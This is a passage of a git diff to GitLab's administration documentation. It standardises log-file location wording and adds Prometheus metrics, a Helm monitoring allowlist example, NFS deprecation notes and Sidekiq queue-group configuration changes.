+- Omnibus GitLab: `/var/log/gitlab/puma/puma_stderr.log`
+- Installations from source: `/home/git/gitlab/log/puma_stderr.log`
## `repocheck.log`
-This file lives in `/var/log/gitlab/gitlab-rails/repocheck.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/repocheck.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/repocheck.log`
+- Installations from source: `/home/git/gitlab/log/repocheck.log`
-It logs information whenever a [repository check is run](repository_checks.md) on a project.
+It logs information whenever a [repository check is run](repository_checks.md)
+on a project.
## `importer.log`
> Introduced in GitLab 11.3.
-This file lives in `/var/log/gitlab/gitlab-rails/importer.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/importer.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/importer.log`
+- Installations from source: `/home/git/gitlab/log/importer.log`
It logs the progress of the import process.
@@ -669,9 +706,10 @@ It logs the progress of the import process.
> Introduced in GitLab 13.1.
-This file lives in `/var/log/gitlab/gitlab-rails/exporter.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/exporter.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/exporter.log`
+- Installations from source: `/home/git/gitlab/log/exporter.log`
It logs the progress of the export process.
@@ -679,10 +717,10 @@ It logs the progress of the export process.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/59587) in GitLab 13.7.
-This file's location depends on how you installed GitLab:
+Depending on your installation method, this file is located at:
-- For Omnibus GitLab packages: `/var/log/gitlab/gitlab-rails/features_json.log`
-- For installations from source: `/home/git/gitlab/log/features_json.log`
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/features_json.log`
+- Installations from source: `/home/git/gitlab/log/features_json.log`
The modification events from [Feature flags in development of GitLab](../development/feature_flags/index.md)
are recorded in this file. For example:
@@ -704,27 +742,29 @@ are recorded in this file. For example:
> Introduced in GitLab 12.0.
-This file lives in `/var/log/gitlab/gitlab-rails/auth.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/auth.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/auth.log`
+- Installations from source: `/home/git/gitlab/log/auth.log`
This log records:
- Information whenever [Rack Attack](../security/rack_attack.md) registers an abusive request.
- Requests over the [Rate Limit](../user/admin_area/settings/rate_limits_on_raw_endpoints.md) on raw endpoints.
- [Protected paths](../user/admin_area/settings/protected_paths.md) abusive requests.
-- In GitLab versions [12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/29239) and greater,
+- In GitLab versions [12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/29239) and later,
user ID and username, if available.
## `graphql_json.log`
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/59587) in GitLab 12.0.
-This file lives in `/var/log/gitlab/gitlab-rails/graphql_json.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/graphql_json.log` for
-installations from source.
+Depending on your installation method, this file is located at:
-GraphQL queries are recorded in that file. For example:
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/graphql_json.log`
+- Installations from source: `/home/git/gitlab/log/graphql_json.log`
+
+GraphQL queries are recorded in the file. For example:
```json
{"query_string":"query IntrospectionQuery{__schema {queryType { name },mutationType { name }}}...(etc)","variables":{"a":1,"b":2},"complexity":181,"depth":1,"duration_s":7}
@@ -734,24 +774,26 @@ GraphQL queries are recorded in that file. For example:
> Introduced in GitLab 12.3.
-This file lives in `/var/log/gitlab/gitlab-rails/migrations.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/migrations.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/migrations.log`
+- Installations from source: `/home/git/gitlab/log/migrations.log`
## `mail_room_json.log` (default)
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19186) in GitLab 12.6.
-This file lives in `/var/log/gitlab/mailroom/current` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/mail_room_json.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/mailroom/current`
+- Installations from source: `/home/git/gitlab/log/mail_room_json.log`
This structured log file records internal activity in the `mail_room` gem.
Its name and path are configurable, so the name and path may not match the above.
-## Reconfigure Logs
+## Reconfigure logs
-Reconfigure log files live in `/var/log/gitlab/reconfigure` for Omnibus GitLab
+Reconfigure log files are in `/var/log/gitlab/reconfigure` for Omnibus GitLab
packages. Installations from source don't have reconfigure logs. A reconfigure log
is populated whenever `gitlab-ctl reconfigure` is run manually or as part of an upgrade.
@@ -763,46 +805,47 @@ was initiated, such as `1509705644.log`
If Prometheus metrics and the Sidekiq Exporter are both enabled, Sidekiq
starts a Web server and listen to the defined port (default:
`8082`). By default, Sidekiq Exporter access logs are disabled but can
-be enabled:
+be enabled based on your installation method:
-- For Omnibus GitLab installations, using the `sidekiq['exporter_log_enabled'] = true`
- option in `/etc/gitlab/gitlab.rb`.
-- For installations from source, using the `sidekiq_exporter.log_enabled` option
- in `gitlab.yml`.
+- Omnibus GitLab: Use the `sidekiq['exporter_log_enabled'] = true`
+ option in `/etc/gitlab/gitlab.rb`
+- Installations from source: Use the `sidekiq_exporter.log_enabled` option
+ in `gitlab.yml`
-When enabled, access logs are generated in
-`/var/log/gitlab/gitlab-rails/sidekiq_exporter.log` for Omnibus GitLab
-packages or in `/home/git/gitlab/log/sidekiq_exporter.log` for
-installations from source.
+When enabled, depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/sidekiq_exporter.log`
+- Installations from source: `/home/git/gitlab/log/sidekiq_exporter.log`
If Prometheus metrics and the Web Exporter are both enabled, Puma
starts a Web server and listen to the defined port (default: `8083`), and access logs
-are generated:
+are generated in a location based on your installation method:
-- For Omnibus GitLab packages, in `/var/log/gitlab/gitlab-rails/web_exporter.log`.
-- For installations from source, in `/home/git/gitlab/log/web_exporter.log`.
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/web_exporter.log`
+- Installations from source: `/home/git/gitlab/log/web_exporter.log`
## `database_load_balancing.log` **(PREMIUM SELF)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/15442) in GitLab 12.3.
Contains details of GitLab [Database Load Balancing](database_load_balancing.md).
-It's stored at:
+Depending on your installation method, this file is located at:
-- `/var/log/gitlab/gitlab-rails/database_load_balancing.log` for Omnibus GitLab packages.
-- `/home/git/gitlab/log/database_load_balancing.log` for installations from source.
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/database_load_balancing.log`
+- Installations from source: `/home/git/gitlab/log/database_load_balancing.log`
## `elasticsearch.log` **(PREMIUM SELF)**
> Introduced in GitLab 12.6.
This file logs information related to the Elasticsearch Integration, including
-errors during indexing or searching Elasticsearch. It's stored at:
+errors during indexing or searching Elasticsearch. Depending on your installation
+method, this file is located at:
-- `/var/log/gitlab/gitlab-rails/elasticsearch.log` for Omnibus GitLab packages.
-- `/home/git/gitlab/log/elasticsearch.log` for installations from source.
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/elasticsearch.log`
+- Installations from source: `/home/git/gitlab/log/elasticsearch.log`
-Each line contains a JSON line that can be ingested by services like Elasticsearch and Splunk.
+Each line contains JSON that can be ingested by services like Elasticsearch and Splunk.
Line breaks have been added to the following example line for clarity:
```json
@@ -825,12 +868,13 @@ Line breaks have been added to the following example line for clarity:
This file logs the information about exceptions being tracked by
`Gitlab::ErrorTracking`, which provides a standard and consistent way of
-[processing rescued exceptions](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/logging.md#exception-handling). This file is stored in:
+[processing rescued exceptions](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/logging.md#exception-handling).
+Depending on your installation method, this file is located at:
-- `/var/log/gitlab/gitlab-rails/exceptions_json.log` for Omnibus GitLab packages.
-- `/home/git/gitlab/log/exceptions_json.log` for installations from source.
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/exceptions_json.log`
+- Installations from source: `/home/git/gitlab/log/exceptions_json.log`
-Each line contains a JSON line that can be ingested by Elasticsearch. For example:
+Each line contains JSON that can be ingested by Elasticsearch. For example:
```json
{
@@ -853,9 +897,10 @@ Each line contains a JSON line that can be ingested by Elasticsearch. For exampl
> Introduced in GitLab 13.0.
-This file lives in `/var/log/gitlab/gitlab-rails/service_measurement.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/service_measurement.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/service_measurement.log`
+- Installations from source: `/home/git/gitlab/log/service_measurement.log`
It contains only a single structured log with measurements for each service execution.
It contains measurements such as the number of SQL calls, `execution_time`, `gc_stats`, and `memory usage`.
@@ -870,9 +915,12 @@ For example:
> Introduced in 9.5.
-Geo stores structured log messages in a `geo.log` file. For Omnibus installations, this file is at `/var/log/gitlab/gitlab-rails/geo.log`.
+Geo stores structured log messages in a `geo.log` file. For Omnibus GitLab
+installations, this file is at `/var/log/gitlab/gitlab-rails/geo.log`.
-This file contains information about when Geo attempts to sync repositories and files. Each line in the file contains a separate JSON entry that can be ingested into. For example, Elasticsearch or Splunk.
+This file contains information about when Geo attempts to sync repositories
+and files. Each line in the file contains a separate JSON entry that can be
+ingested into (for example, Elasticsearch or Splunk).
For example:
@@ -886,10 +934,10 @@ This message shows that Geo detected that a repository update was needed for pro
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/commit/7f637e2af7006dc2b1b2649d9affc0b86cfb33c4) in GitLab 11.12.
-This file is stored in:
+Depending on your installation method, this file is located at:
-- `/var/log/gitlab/gitlab-rails/update_mirror_service_json.log` for Omnibus GitLab installations.
-- `/home/git/gitlab/log/update_mirror_service_json.log` for installations from source.
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/update_mirror_service_json.log`
+- Installations from source: `/home/git/gitlab/log/update_mirror_service_json.log`
This file contains information about LFS errors that occurred during project mirroring.
While we work to move other project mirroring errors into this log, the [general log](#productionlog)
@@ -909,20 +957,20 @@ can be used.
## Registry Logs
-For Omnibus installations, Container Registry logs reside in `/var/log/gitlab/registry/current`.
+For Omnibus GitLab installations, Container Registry logs are in `/var/log/gitlab/registry/current`.
## NGINX Logs
-For Omnibus installations, NGINX logs reside in:
+For Omnibus GitLab installations, NGINX logs are in:
-- `/var/log/gitlab/nginx/gitlab_access.log` contains a log of requests made to GitLab.
-- `/var/log/gitlab/nginx/gitlab_error.log` contains a log of NGINX errors for GitLab.
-- `/var/log/gitlab/nginx/gitlab_pages_access.log` contains a log of requests made to Pages static sites.
-- `/var/log/gitlab/nginx/gitlab_pages_error.log` contains a log of NGINX errors for Pages static sites.
-- `/var/log/gitlab/nginx/gitlab_registry_access.log` contains a log of requests made to the Container Registry.
-- `/var/log/gitlab/nginx/gitlab_registry_error.log` contains a log of NGINX errors for the Container Registry.
-- `/var/log/gitlab/nginx/gitlab_mattermost_access.log` contains a log of requests made to Mattermost.
-- `/var/log/gitlab/nginx/gitlab_mattermost_error.log` contains a log of NGINX errors for Mattermost.
+- `/var/log/gitlab/nginx/gitlab_access.log`: A log of requests made to GitLab
+- `/var/log/gitlab/nginx/gitlab_error.log`: A log of NGINX errors for GitLab
+- `/var/log/gitlab/nginx/gitlab_pages_access.log`: A log of requests made to Pages static sites
+- `/var/log/gitlab/nginx/gitlab_pages_error.log`: A log of NGINX errors for Pages static sites
+- `/var/log/gitlab/nginx/gitlab_registry_access.log`: A log of requests made to the Container Registry
+- `/var/log/gitlab/nginx/gitlab_registry_error.log`: A log of NGINX errors for the Container Registry
+- `/var/log/gitlab/nginx/gitlab_mattermost_access.log`: A log of requests made to Mattermost
+- `/var/log/gitlab/nginx/gitlab_mattermost_error.log`: A log of NGINX errors for Mattermost
Below is the default GitLab NGINX access log format:
@@ -932,7 +980,7 @@ $remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$
## Pages Logs
-For Omnibus installations, Pages logs reside in `/var/log/gitlab/gitlab-pages/current`.
+For Omnibus GitLab installations, Pages logs are in `/var/log/gitlab/gitlab-pages/current`.
For example:
@@ -961,66 +1009,68 @@ For example:
## Mattermost Logs
-For Omnibus GitLab installations, Mattermost logs reside in `/var/log/gitlab/mattermost/mattermost.log`.
+For Omnibus GitLab installations, Mattermost logs are in `/var/log/gitlab/mattermost/mattermost.log`.
## Workhorse Logs
-For Omnibus GitLab installations, Workhorse logs reside in `/var/log/gitlab/gitlab-workhorse/`.
+For Omnibus GitLab installations, Workhorse logs are in `/var/log/gitlab/gitlab-workhorse/`.
## PostgreSQL Logs
-For Omnibus GitLab installations, PostgreSQL logs reside in `/var/log/gitlab/postgresql/`.
+For Omnibus GitLab installations, PostgreSQL logs are in `/var/log/gitlab/postgresql/`.
## Prometheus Logs
-For Omnibus GitLab installations, Prometheus logs reside in `/var/log/gitlab/prometheus/`.
+For Omnibus GitLab installations, Prometheus logs are in `/var/log/gitlab/prometheus/`.
## Redis Logs
-For Omnibus GitLab installations, Redis logs reside in `/var/log/gitlab/redis/`.
+For Omnibus GitLab installations, Redis logs are in `/var/log/gitlab/redis/`.
## Alertmanager Logs
-For Omnibus GitLab installations, Alertmanager logs reside in `/var/log/gitlab/alertmanager/`.
+For Omnibus GitLab installations, Alertmanager logs are in `/var/log/gitlab/alertmanager/`.
<!-- vale gitlab.Spelling = NO -->
## Crond Logs
-For Omnibus GitLab installations, crond logs reside in `/var/log/gitlab/crond/`.
+For Omnibus GitLab installations, crond logs are in `/var/log/gitlab/crond/`.
<!-- vale gitlab.Spelling = YES -->
## Grafana Logs
-For Omnibus GitLab installations, Grafana logs reside in `/var/log/gitlab/grafana/`.
+For Omnibus GitLab installations, Grafana logs are in `/var/log/gitlab/grafana/`.
## LogRotate Logs
-For Omnibus GitLab installations, `logrotate` logs reside in `/var/log/gitlab/logrotate/`.
+For Omnibus GitLab installations, `logrotate` logs are in `/var/log/gitlab/logrotate/`.
## GitLab Monitor Logs
-For Omnibus GitLab installations, GitLab Monitor logs reside in `/var/log/gitlab/gitlab-monitor/`.
+For Omnibus GitLab installations, GitLab Monitor logs are in `/var/log/gitlab/gitlab-monitor/`.
## GitLab Exporter
-For Omnibus GitLab installations, GitLab Exporter logs reside in `/var/log/gitlab/gitlab-exporter/`.
+For Omnibus GitLab installations, GitLab Exporter logs are in `/var/log/gitlab/gitlab-exporter/`.
## GitLab Kubernetes Agent Server
-For Omnibus GitLab installations, GitLab Kubernetes Agent Server logs reside
+For Omnibus GitLab installations, GitLab Kubernetes Agent Server logs are
in `/var/log/gitlab/gitlab-kas/`.
## Performance bar stats
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48149) in GitLab 13.7.
-This file lives in `/var/log/gitlab/gitlab-rails/performance_bar_json.log` for
-Omnibus GitLab packages or in `/home/git/gitlab/log/performance_bar_json.log` for
-installations from source.
+Depending on your installation method, this file is located at:
+
+- Omnibus GitLab: `/var/log/gitlab/gitlab-rails/performance_bar_json.log`
+- Installations from source: `/home/git/gitlab/log/performance_bar_json.log`
-Performance bar statistics (currently only duration of SQL queries) are recorded in that file. For example:
+Performance bar statistics (currently only duration of SQL queries) are recorded
+in that file. For example:
```json
{"severity":"INFO","time":"2020-12-04T09:29:44.592Z","correlation_id":"33680b1490ccd35981b03639c406a697","filename":"app/models/ci/pipeline.rb","method_path":"app/models/ci/pipeline.rb:each_with_object","request_id":"rYHomD0VJS4","duration_ms":26.889,"count":2,"type": "sql"}
diff --git a/doc/administration/maintenance_mode/index.md b/doc/administration/maintenance_mode/index.md
index 2f5d366f927..37415468517 100644
--- a/doc/administration/maintenance_mode/index.md
+++ b/doc/administration/maintenance_mode/index.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2149) in GitLab Premium 13.9.
-Maintenance Mode allows administrators to reduce write operations to a minimum while maintenance tasks are performed. The main goal is to block all external actions that change the internal state, including the PostgreSQL database, but especially files, Git repositories, Container repositories, etc.
+Maintenance Mode allows administrators to reduce write operations to a minimum while maintenance tasks are performed. The main goal is to block all external actions that change the internal state, including the PostgreSQL database, but especially files, Git repositories, Container repositories, and so on.
Once Maintenance Mode is enabled, in-progress actions finish relatively quickly since no new actions are coming in, and internal state changes are minimal.
In that state, various maintenance tasks are easier, and services can be stopped completely or be
diff --git a/doc/administration/monitoring/ip_whitelist.md b/doc/administration/monitoring/ip_whitelist.md
index 522267ce362..20c97a0df8f 100644
--- a/doc/administration/monitoring/ip_whitelist.md
+++ b/doc/administration/monitoring/ip_whitelist.md
@@ -29,6 +29,21 @@ hosts or use IP ranges:
---
+**For installations using cloud native Helm charts**
+
+You can set the required IPs under the `gitlab.webservice.monitoring.ipWhitelist` key. For example:
+
+```yaml
+gitlab:
+ webservice:
+ monitoring:
+ # Monitoring IP whitelist
+ ipWhitelist:
+ - 0.0.0.0/0 # Default
+```
+
+---
+
**For installations from source**
1. Edit `config/gitlab.yml`:
diff --git a/doc/administration/monitoring/performance/img/performance_bar.png b/doc/administration/monitoring/performance/img/performance_bar.png
deleted file mode 100644
index 380e2060b24..00000000000
--- a/doc/administration/monitoring/performance/img/performance_bar.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/monitoring/performance/img/performance_bar_v14_0.png b/doc/administration/monitoring/performance/img/performance_bar_v14_0.png
new file mode 100644
index 00000000000..42261ddd720
--- /dev/null
+++ b/doc/administration/monitoring/performance/img/performance_bar_v14_0.png
Binary files differ
diff --git a/doc/administration/monitoring/performance/performance_bar.md b/doc/administration/monitoring/performance/performance_bar.md
index 1125547f13f..5a7e8e12a38 100644
--- a/doc/administration/monitoring/performance/performance_bar.md
+++ b/doc/administration/monitoring/performance/performance_bar.md
@@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
You can display the GitLab Performance Bar to see statistics for the performance
of a page. When activated, it looks as follows:
-![Performance Bar](img/performance_bar.png)
+![Performance Bar](img/performance_bar_v14_0.png)
From left to right, it displays:
diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md
index 7e72f6ed7df..2aa95a2b0f1 100644
--- a/doc/administration/monitoring/prometheus/gitlab_metrics.md
+++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md
@@ -98,6 +98,8 @@ The following metrics are available:
| `gitlab_transaction_db_write_count_total` | Counter | 13.1 | Counter for total number of write SQL calls | `controller`, `action` |
| `gitlab_transaction_db_cached_count_total` | Counter | 13.1 | Counter for total number of cached SQL calls | `controller`, `action` |
| `gitlab_transaction_db_<role>_cached_count_total` | Counter | 13.1 | Counter for total number of cached SQL calls, grouped by database roles (primary/replica) | `controller`, `action` |
+| `gitlab_transaction_db_<role>_wal_count_total` | Counter | 14.0 | Counter for total number of WAL (write ahead log location) queries, grouped by database roles (primary/replica) | `controller`, `action` |
+| `gitlab_transaction_db_<role>_wal_cached_count_total` | Counter | 14.1 | Counter for total number of cached WAL (write ahead log location) queries, grouped by database roles (primary/replica)| `controller`, `action` |
| `http_elasticsearch_requests_duration_seconds` **(PREMIUM)** | Histogram | 13.1 | Elasticsearch requests duration during web transactions | `controller`, `action` |
| `http_elasticsearch_requests_total` **(PREMIUM)** | Counter | 13.1 | Elasticsearch requests count during web transactions | `controller`, `action` |
| `pipelines_created_total` | Counter | 9.4 | Counter of pipelines created | |
@@ -119,6 +121,7 @@ The following metrics are available:
| `action_cable_single_client_transmissions_total` | Counter | 13.10 | The number of ActionCable messages transmitted to any client in any channel | `server_mode` |
| `action_cable_subscription_confirmations_total` | Counter | 13.10 | The number of ActionCable subscriptions from clients confirmed | `server_mode` |
| `action_cable_subscription_rejections_total` | Counter | 13.10 | The number of ActionCable subscriptions from clients rejected | `server_mode` |
+| `action_cable_transmitted_bytes` | Histogram | 14.1 | Message size, in bytes, transmitted over action cable | `operation`, `channel` |
| `gitlab_issuable_fast_count_by_state_total` | Counter | 13.5 | Total number of row count operations on issue/merge request list pages | |
| `gitlab_issuable_fast_count_by_state_failures_total` | Counter | 13.5 | Number of soft-failed row count operations on issue/merge request list pages | |
| `gitlab_external_http_total` | Counter | 13.8 | Total number of HTTP calls to external systems | `controller`, `action` |
@@ -133,6 +136,10 @@ The following metrics are available:
| `gitlab_spamcheck_request_duration_seconds` | Histogram | 13.12 | The duration for requests between Rails and the anti-spam engine | |
| `service_desk_thank_you_email` | Counter | 14.0 | Total number of email responses to new service desk emails | |
| `service_desk_new_note_email` | Counter | 14.0 | Total number of email notifications on new service desk comment | |
+| `email_receiver_error` | Counter | 14.1 | Total number of errors when processing incoming emails | |
+| `gitlab_snowplow_events_total` | Counter | 14.1 | Total number of GitLab Snowplow product intelligence events emitted | |
+| `gitlab_snowplow_failed_events_total` | Counter | 14.1 | Total number of GitLab Snowplow product intelligence events emission failures | |
+| `gitlab_snowplow_successful_events_total` | Counter | 14.1 | Total number of GitLab Snowplow product intelligence events emission successes | |
## Metrics controlled by a feature flag
@@ -262,10 +269,11 @@ configuration option in `gitlab.yml`. These metrics are served from the
The following metrics are available:
-| Metric | Type | Since | Description | Labels |
-|:--------------------------------- |:--------- |:------------------------------------------------------------- |:-------------------------------------- |:--------------------------------------------------------- |
-| `db_load_balancing_hosts` | Gauge | [12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/13630) | Current number of load balancing hosts | |
-| `sidekiq_load_balancing_count` | Counter | 13.11 | Sidekiq jobs using load balancing with data consistency set to :sticky or :delayed | `queue`, `boundary`, `external_dependencies`, `feature_category`, `job_status`, `urgency`, `data_consistency`, `database_chosen` |
+| Metric | Type | Since | Description | Labels |
+|:-------------------------------------------------------- |:--------- |:------------------------------------------------------------- |:---------------------------------------------------------------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------- |
+| `db_load_balancing_hosts` | Gauge | [12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/13630) | Current number of load balancing hosts | |
+| `sidekiq_load_balancing_count` | Counter | 13.11 | Sidekiq jobs using load balancing with data consistency set to :sticky or :delayed | `queue`, `boundary`, `external_dependencies`, `feature_category`, `job_status`, `urgency`, `data_consistency`, `load_balancing_strategy` |
+| `gitlab_transaction_caught_up_replica_pick_count_total` | Counter | 14.1 | Number of search attempts for caught up replica | `result` |
## Database partitioning metrics **(PREMIUM SELF)**
@@ -336,7 +344,7 @@ These client metrics are meant to complement Redis server metrics.
These metrics are broken down per [Redis
instance](https://docs.gitlab.com/omnibus/settings/redis.html#running-with-multiple-redis-instances).
These metrics all have a `storage` label which indicates the Redis
-instance (`cache`, `shared_state` etc.).
+instance (`cache`, `shared_state`, and so on).
| Metric | Type | Since | Description |
|:--------------------------------- |:------- |:----- |:----------- |
diff --git a/doc/administration/nfs.md b/doc/administration/nfs.md
index e53f2af3440..c4ff19ec3ea 100644
--- a/doc/administration/nfs.md
+++ b/doc/administration/nfs.md
@@ -10,7 +10,7 @@ type: reference
NFS can be used as an alternative for object storage but this isn't typically
recommended for performance reasons.
-For data objects such as LFS, Uploads, Artifacts, etc., an [Object Storage service](object_storage.md)
+For data objects such as LFS, Uploads, Artifacts, and so on, an [Object Storage service](object_storage.md)
is recommended over NFS where possible, due to better performance.
File system performance can impact overall GitLab performance, especially for
@@ -20,11 +20,13 @@ file system performance, see
## Gitaly and NFS deprecation
-WARNING:
-From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories are no longer
-considered and customer technical support is considered out of scope.
-[Read more about Gitaly and NFS](gitaly/index.md#nfs-deprecation-notice) and
-[the correct mount options to use](#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
+Engineering support for NFS for Git repositories is deprecated. Technical support is planned to be
+unavailable from GitLab 15.0. No further enhancements are planned for this feature.
+
+Read:
+
+- The [Gitaly and NFS deprecation notice](gitaly/index.md#nfs-deprecation-notice).
+- About the [correct mount options to use](#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss).
## Known kernel version incompatibilities
@@ -100,7 +102,7 @@ and GIDs (which is off by default in some cases) for simplified permission
management between systems:
- [NetApp instructions](https://library.netapp.com/ecmdocs/ECMP1401220/html/GUID-24367A9F-E17B-4725-ADC1-02D86F56F78E.html)
-- For non-NetApp devices, disable NFSv4 `idmapping` by performing opposite of [enable NFSv4 idmapper](https://wiki.archlinux.org/index.php/NFS#Enabling_NFSv4_idmapping)
+- For non-NetApp devices, disable NFSv4 `idmapping` by performing opposite of [enable NFSv4 idmapper](https://wiki.archlinux.org/title/NFS#Enabling_NFSv4_idmapping)
### Disable NFS server delegation
@@ -368,9 +370,8 @@ sudo ufw allow from <client_ip_address> to any port nfs
### Upgrade to Gitaly Cluster or disable caching if experiencing data loss
WARNING:
-From GitLab 13.0, using NFS for Git repositories is deprecated.
-As of GitLab 14.0, NFS-related issues with Gitaly are no longer addressed. Read
-more about [Gitaly and NFS deprecation](gitaly/index.md#nfs-deprecation-notice).
+Engineering support for NFS for Git repositories is deprecated. Read the
+[Gitaly and NFS deprecation notice](gitaly/index.md#nfs-deprecation-notice).
Customers and users have reported data loss on high-traffic repositories when using NFS for Git repositories.
For example, we have seen:
diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md
index f1025bd1846..525b41359cf 100644
--- a/doc/administration/object_storage.md
+++ b/doc/administration/object_storage.md
@@ -537,7 +537,7 @@ the original form is omitted. To move to the consolidated form, remove the
original configuration (for example, `artifacts_object_store_enabled`, or
`uploads_object_store_connection`)
-## Storage-specific configuration
+### Storage-specific configuration
For configuring object storage in GitLab 13.1 and earlier, or for storage types not
supported by consolidated configuration form, refer to the following guides:
@@ -580,7 +580,7 @@ There are plans to [enable the use of a single bucket](https://gitlab.com/gitlab
in the future.
Helm-based installs require separate buckets to
-[handle backup restorations](https://docs.gitlab.com/charts/advanced/external-object-storage/#lfs-artifacts-uploads-packages-external-diffs-pseudonymizer)
+[handle backup restorations](https://docs.gitlab.com/charts/advanced/external-object-storage/#lfs-artifacts-uploads-packages-external-diffs-pseudonymizer).
### S3 API compatibility issues
@@ -591,12 +591,6 @@ with the Fog library that GitLab uses. Symptoms include an error in `production.
411 Length Required
```
-### Incremental logging is required for CI to use object storage
-
-If you configure GitLab to use object storage for CI logs and artifacts,
-you can avoid [local disk usage for job logs](job_logs.md#data-flow) by enabling
-[beta incremental logging](job_logs.md#incremental-logging-architecture).
-
### Proxy Download
Clients can download files in object storage by receiving a pre-signed, time-limited URL,
@@ -724,21 +718,6 @@ must be fulfilled:
[ETag mismatch errors](#etag-mismatch) occur if server side
encryption headers are used without enabling the Workhorse S3 client.
-##### Disabling the feature
-
-The Workhorse S3 client is enabled by default when the
-[`use_iam_profile` configuration option](#iam-permissions) is set to `true` or consolidated
-object storage settings are configured.
-
-The feature can be disabled using the `:use_workhorse_s3_client` feature flag. To disable the
-feature, ask a GitLab administrator with
-[Rails console access](feature_flags.md#how-to-enable-and-disable-features-behind-flags) to run the
-following command:
-
-```ruby
-Feature.disable(:use_workhorse_s3_client)
-```
-
#### IAM Permissions
To set up an instance profile:
diff --git a/doc/administration/operations/extra_sidekiq_processes.md b/doc/administration/operations/extra_sidekiq_processes.md
index b910a789d29..1f195bcc378 100644
--- a/doc/administration/operations/extra_sidekiq_processes.md
+++ b/doc/administration/operations/extra_sidekiq_processes.md
@@ -74,8 +74,9 @@ To start multiple processes:
just handles the `mailers` queue.
When `sidekiq-cluster` is only running on a single node, make sure that at least
- one process is running on all queues using `*`. This means a process is
- This includes queues that have dedicated processes.
+ one process is running on all queues using `*`. This ensures a process
+ automatically picks up jobs in queues created in the future,
+ including queues that have dedicated processes.
If `sidekiq-cluster` is running on more than one node, you can also use
[`--negate`](#negate-settings) and list all the queues that are already being
@@ -95,13 +96,16 @@ To view the Sidekiq processes in GitLab:
## Negate settings
To have the additional Sidekiq processes work on every queue **except** the ones
-you list:
+you list. In this example, we exclude all import-related jobs from a Sidekiq node:
1. After you follow the steps for [starting extra processes](#start-multiple-processes),
edit `/etc/gitlab/gitlab.rb` and add:
```ruby
sidekiq['negate'] = true
+ sidekiq['queue_groups'] = [
+ "feature_category=importers"
+ ]
```
1. Save the file and reconfigure GitLab for the changes to take effect:
@@ -171,7 +175,7 @@ When disabling `sidekiq_cluster`, you must copy your configuration for
`sidekiq_cluster` is overridden by the options for `sidekiq` when
setting `sidekiq['cluster'] = true`.
-When using this feature, the service called `sidekiq` is now
+When using this feature, the service called `sidekiq` is now
running `sidekiq-cluster`.
The [concurrency](#manage-concurrency) and other options configured
@@ -180,32 +184,21 @@ for Sidekiq are respected.
By default, logs for `sidekiq-cluster` go to `/var/log/gitlab/sidekiq`
like regular Sidekiq logs.
-## Ignore all GitHub import queues
+## Ignore all import queues
-When [importing from GitHub](../../user/project/import/github.md), Sidekiq might
-use all of its resources to perform those operations. To set up a separate
-`sidekiq-cluster` process to ignore all GitHub import-related queues:
+When [importing from GitHub](../../user/project/import/github.md) or
+other sources, Sidekiq might use all of its resources to perform those
+operations. To set up two separate `sidekiq-cluster` processes, where
+one only processes imports and the other processes all other queues:
1. Edit `/etc/gitlab/gitlab.rb` and add:
```ruby
sidekiq['enable'] = true
- sidekiq['negate'] = true
+ sidekiq['queue_selector'] = true
sidekiq['queue_groups'] = [
- "github_import_advance_stage",
- "github_importer:github_import_import_diff_note",
- "github_importer:github_import_import_issue",
- "github_importer:github_import_import_note",
- "github_importer:github_import_import_lfs_object",
- "github_importer:github_import_import_pull_request",
